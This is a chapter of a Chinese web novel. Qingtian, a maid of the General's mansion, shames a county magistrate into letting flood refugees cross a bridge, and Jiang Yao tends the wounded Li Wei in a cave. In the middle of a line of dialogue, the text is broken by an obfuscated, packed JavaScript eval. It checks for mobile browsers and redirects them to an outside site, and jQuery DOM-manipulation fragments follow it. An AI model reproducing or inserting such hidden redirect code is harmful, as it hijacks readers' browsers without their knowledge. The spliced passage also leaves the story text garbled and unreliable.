对面为首的人大喊道:“若当真是将军府的大小姐,我等自然放行,各位也可以一同过来。”
晴天走到索桥面前,一字一句铿锵有力的说道:“我!将军府,要和这里的所有百姓,一起过桥!”
此刻全场默然。
突然,身后有一人喊道:“将军府大小姐来了!她来救我们了!我们有救了!我们有救了!”
人群开始沸腾。
“江大小姐!救救我们!救救我们!”
“我们也要过去!放行!让我们过去!我们要和江小姐一起过桥!”
“没错!放行!放行!放行!”
晴天转过头大喊道:“大家安静,听我说。”
人群顷刻间安静下来,所有人都看着她。
“只要你们还在这里,将军府的人,绝无可能弃你们离去,还请各位放心。”她一字一句坚定道。
转过头她对着对面喊道:“此事你们怕是做不了主,请你们县令过来。”
对面的人面面相觑,脸上纷纷铁青一片。
“江大小姐,您何必为难我们,璃县如今已然是这般模样,又有疫情,您管他们的死活,难道就不管知了县百姓的死活了吗?谁不想活着!”一人喊道。
晴天铿锵有力道:“璃县患有疫症的人,并不在这里,你们若是害怕,大可以划一块偏僻的地方给我们先做容身,而不是就这样眼睁睁的看着,大家都是凤召的百姓,岂能见死不救?”
她话锋一转,变的稍许凌厉,“各位,此事你们做不了主,还请将你们县令请来,若是在这继续耗着,对各位也不利。”
腰间那块象征身份的令牌明晃晃的亮着,这表面话说的实在是客气,但背地里却实在是赤裸裸的威胁。
将军府的嫡女,谁敢将她拦在县外,反倒他们还要求着她过去,她不动,他们也不能动,如此僵持在原地,万一人出了什么好歹,这里的守桥人,谁都别想脱责。
对面拿剑对着桥索的人默默放下手中的剑,这个时候这桥索必然是不能动了。
他叹一口气,大喊道:“既然如此,我立马去找县令,还请江小姐稍后。”
李决等人对视一笑。
晴天见此也松了一口气。
还好距离够远,他们看不见她额头上的冷汗。
简仁靠近晴天的耳边,带笑鼓励道:“做的很好。”
晴天点了点头,叹道:“我知道。”
其余二人跟着笑了。
大约半个时辰后,一辆马车行驶而来,速度颇为急缓,摇摇晃晃的在窄山过道驾来。
这山道如此狭窄,又陡峭不平,坐马车来有容易翻车的风险,不如骑马。
此人倒是......
不惧生死啊。
晴天和其他三人过了过眼神。
不,应该说,贪图享乐。
车停在索桥前,一个身形肥大的中年男子下来了,此人便是知了县县令。
一旁的随从打着伞。
陈济擦了擦额头上的冷汗,他听到有人说江瑶来了知了县差点没被吓死。
还好这几日他不放心这边的情况,一直在山后面住着,这才能随时得到消息,不然还赶不来这么快。
他看着对面,只见对面只有一青衣女子打着伞,气质不俗,他一眼就认定了那位是江家大小姐。
“咳咳。”他请了清嗓子有些讨好的大喊道:“江小姐,雨大,您赶紧过来吧,可别着凉了不是,诶,对了,少将军呢,怎么没来,是回京城了吗?”
听了这话,晴天都忍不住冷笑了。
好一个无耻之徒。
丝毫不提百姓进城,反倒是祸水东引。
果然,此话一出,人群又在议论纷纷了。
晴天笑了笑,“我家大哥还在璃县断后,就不劳烦县令烦心了,倒是我,县令早一刻放行,我也少受一刻冷。”
陈济顿时对旁边的守桥人怒道:“怎么回事?难不成你们还把江小姐拦着不让过了?”
“这......大人......是江小姐自己不过来,我们可不敢拦着将军府的人。”一人卑怯的回道。
陈济转过头假笑道:“您看,江小姐,他们也没拦着您不让过,您现在赶紧过来吧。”
晴天冷笑,“陈大人,通传的人可是没讲清楚,不是我要过桥,是我身后的所有百姓,要跟着一起过桥。”
陈济顿时脸上笑意僵住,他为难道:“这......江大小姐,您别为难我,我这......实在是,不能放行。”
他才是有苦说不出来,朝廷密令,不准周围各州县收留难民,违者直接斩首。
偏偏这是密令,他也不能直接说出来。
违抗皇室的命令是死,但是现在关键是......将军府他也得罪不起啊,谁不知道定国将军府掌控着整个凤召百分之六十的兵权,连皇室都忌惮三分,他一个小小的县令......
陈济咽了咽口水,冷汗不停的冒。
他试图再商量,“江小姐,您......有些话我也不能直接说,但是我这知了县也有自己的难处,您也总要为我们这里的百姓想想啊,当然,将军府的人可以过来,我们是决计不敢拦着您的人的,但是那些百姓......我也实在是无能为力。”
“您说,将军府的人可以过去,好。”晴天道。
陈济以为江瑶妥协了,松了口气。
谁知她继续说道:“我身后的所有人,都是将军府的人。”
陈济的笑再次僵硬在原地。
晴天继续道:“将军府,是定国将军府,国,首为百姓,没有百姓,哪来的国家,而国家是不会放弃任何一个百姓的,定国将军府,守的是身后每一个百姓,因此,我说他们都是将军府的人,陈大人,还请放行。”她语速放慢,最后几个字格外坚定。
这是小姐在慈音寺经常会说的话,突然这一刻,晴天就像意识觉醒了一般,她......理解到了。
为什么小姐会冒险来璃县,为什么会在这样危机的时刻也不愿意离开。
从前,她总是问为什么,却从来未曾自己思考过。
现在,她明白了。
这一刻,晴天的眼神变的更加坚定,彻底的褪去了眼底的胆怯。
身后的百姓纷纷鼓起掌。
“说的好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508211|142207||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
!!!”
“定国将军府!!!”
“这就是我们凤召的将军府,为国为民,从来不在任何时候抛弃百姓!!!”
“将军府万岁!!!”
“将军府万岁!!!”
......
陈济彻底笑不出来了。
晴天倒是笑了。
她继续道:“我明白我陈大人的顾虑,所有的责任,我来负。”
她说的“我”,是她自己,而非小姐。
哪怕是死罪,她也无妨。
她是晴天,不是小姐,她做了这件事,她绝不后悔,甚至为此感到自豪。
而陈济却理解为是整个将军府负责。
“您确定吗?”他一个字一个字慎重道。
看来此事是没得商量了,僵持在这里,已经没有任何回旋的余地。
她与百姓站在一起,同生共死,用命威胁,他若不放行,让对面的人死在这儿了,他注定是死罪。
倒不如因着她这句话赌一把。
晴天点头,“我确定。”
陈济默然了。
时间一分一秒的流逝。
终于,他叹了口气,挥了挥手,“放行。”
晴天转过头与李决等人相视而笑。
他们赢了!
“走。”
另一边,江瑶和李苇还在洞穴里。
此刻天色已经接近黄昏了。
李苇受了伤,失血过多,走不了多远的路,所以江瑶决定在原地等着。
据李苇记忆里描述,今日的洪水下面,原本是一条大路的,但是现在却被水淹了,这说明璃县的堤坝在他们来的路上已经塌陷了。
水位会随着时间的推移涨的越来越高。
“姑娘......”李苇身躯靠在墙上,轻声咳嗽道:“是奴才连累姑娘了。”他眼神黯淡下去。
江瑶转过头安慰的笑道:“说什么傻话。”
李苇此刻脸色难看急了,整个人苍白到极致,能在此刻保持清醒的意识,他已经用了很大的意志了。
他不会死,但会受伤,会晕倒,会失去意识。
李苇动了动手掌尝试将自己的身躯撑起来。
姑娘一个人不认路,他必须要......
“啪嗒”一声,李苇双膝没撑住直直倒下,江瑶立马接住他,她急道:“你别乱动。”
她低下头看着李苇的双腿,他的腿本就有疾,需要好好调养,如今泡了这么久的冷水,还失血过多。
“腿疼吗?”她将他扶在墙边。
李苇摇了摇头,“不疼。”
江瑶轻轻捏了捏他的膝盖骨,只见他控制不住的颤抖,嘴角咬的发白。
她顿时恼道:“不疼抖什么?”
李苇低下头,手指轻轻蜷缩。
其实再疼也没关系,他只是怕他这具废物身子连累了她。
江瑶蹲下身,想掀开衣服看一看他的双腿,李苇顿时惊的顾不得疼痛强行将腿缩回去。
“李苇!干什么?”她抬起头,只见他紧紧将双腿抱住,将自己蜷缩成一团,浑身颤抖不已,仿佛受了巨大的惊吓。